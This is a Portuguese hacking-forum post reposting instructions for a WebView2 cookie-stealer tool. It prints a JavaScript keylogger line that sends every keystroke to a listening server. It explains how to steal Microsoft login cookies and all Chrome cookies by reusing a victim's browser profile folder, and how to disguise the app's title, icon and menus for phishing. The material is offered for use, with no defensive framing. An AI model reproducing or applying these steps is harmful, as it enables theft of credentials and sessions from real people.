COVIL HACKER

, ! .


» COVIL HACKER » Vulnerabilidades de aplicativos da Web » WebView2 Cookie Stealer | Atacando com aplicativos WebView2


WebView2 Cookie Stealer | Atacando com aplicativos WebView2

1 2 2

1

https://onehack.us/uploads/default/orig … f0def3.gif


Demonstração
Exemplo de Lançamento

https://forumupload.ru/uploads/001b/c9/09/2/t71477.gif


Exemplo de uso
Uso
Testado no Windows 10 e 11.

Quando o binário é executado https://office.com/loginé carregado. Um keylogger JavaScript é injetado em cada página e as teclas digitadas são enviadas para http://127.0.0.1:8080. Além disso, após a autenticação bem-sucedida do usuário, os cookies login.microsoftonline.comsão codificados em base64 e enviados http://127.0.0.1:8080por meio de uma solicitação HTTP GET.

Modificando JavaScript
Se você quiser modificar o JavaScript, o código que precisa ser alterado é mostrado abaixo line 1096em AppWindow.cpp.

coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);

Roubando cookies do Chrome
O WebView2 permite iniciar com uma pasta de dados do usuário (UDF) existente em vez de criar uma nova. A UDF contém todas as senhas, sessões, favoritos, etc. A UDF do Chrome está localizada em C:\Users\<username>\AppData\Local\Google\Chrome\User Data. Podemos simplesmente dizer ao WebView2 para iniciar a instância usando esse perfil e, ao iniciar, extrair todos os cookies e transferi-los para o servidor do invasor.

O único problema é que o WebView2 procura uma pasta chamada EBWebViewem vez de User Data(não sei por quê). Copie a User Datapasta e renomeie-a para EBWebView.

Alterações Necessárias
Em : line 41_app.cpp
Mudar std::wstring userDataFolder(L"");parastd::wstring userDataFolder(L"C:\\Path\\To\\Temp");
A pasta especificada deve conter a EBWebViewpasta da qual o WebView2 irá ler.
Em : line 40_ScenarioCookieManagement.cpp
Mudar GetCookiesHelper(L"https://login.microsoftonline.com");paraGetCookiesHelper(L"");
Quando GetCookiesHelper é invocado sem que nenhum site seja fornecido, ele extrairá todos os cookies.

Nota: Isso não funcionará com o aplicativo atual se houver uma grande quantidade de cookies porque o aplicativo os envia usando uma solicitação GET que possui um limite de tamanho.

Funções Importantes
Se você quiser fazer modificações no binário, encontrará informações sobre as funções importantes abaixo.

AppStartPage.cpp - GetUri()a função tem a URL que é carregada na execução binária.
ScenarioCookieManagement.cpp - SendCookies()a função contém o endereço IP e a porta para onde os cookies são enviados.
AppWindow.cpp - CallCookieFunction()a função espera até que a URL comece com https://www.office.com/?auth=e chameScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")
WebView2APISample.rc - Alterações cosméticas
Remova a barra de menus definindo todos POPUPos valores como "".
Mudança IDS_APP_TITLEe IDC_WEBVIEW2APISAMPLE. Este é o nome do aplicativo na barra de título.
Alterar IDI_WEBVIEW2APISAMPLEe IDI_WEBVIEW2APISAMPLE_INPRIVATEe IDI_SMALL. Eles apontam para um .icoarquivo que é o ícone desse aplicativo.
Toolbar.cpp - itemHeightdeve ser definido como 0 para remover o menu superior. Isso já está resolvido neste código.
AppWindow.cpp - LoadImage()deve ser comentado. Isso oculta a imagem inicial azul. Isso já está resolvido neste código.
App.cpp - new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false);altere o último valor do parâmetro para true. Isso oculta a barra de ferramentas. Isso já está resolvido neste código.


https://github.com/mrd0x/WebView2-Cookie-Stealer

0

2


» COVIL HACKER » Vulnerabilidades de aplicativos da Web » WebView2 Cookie Stealer | Atacando com aplicativos WebView2


|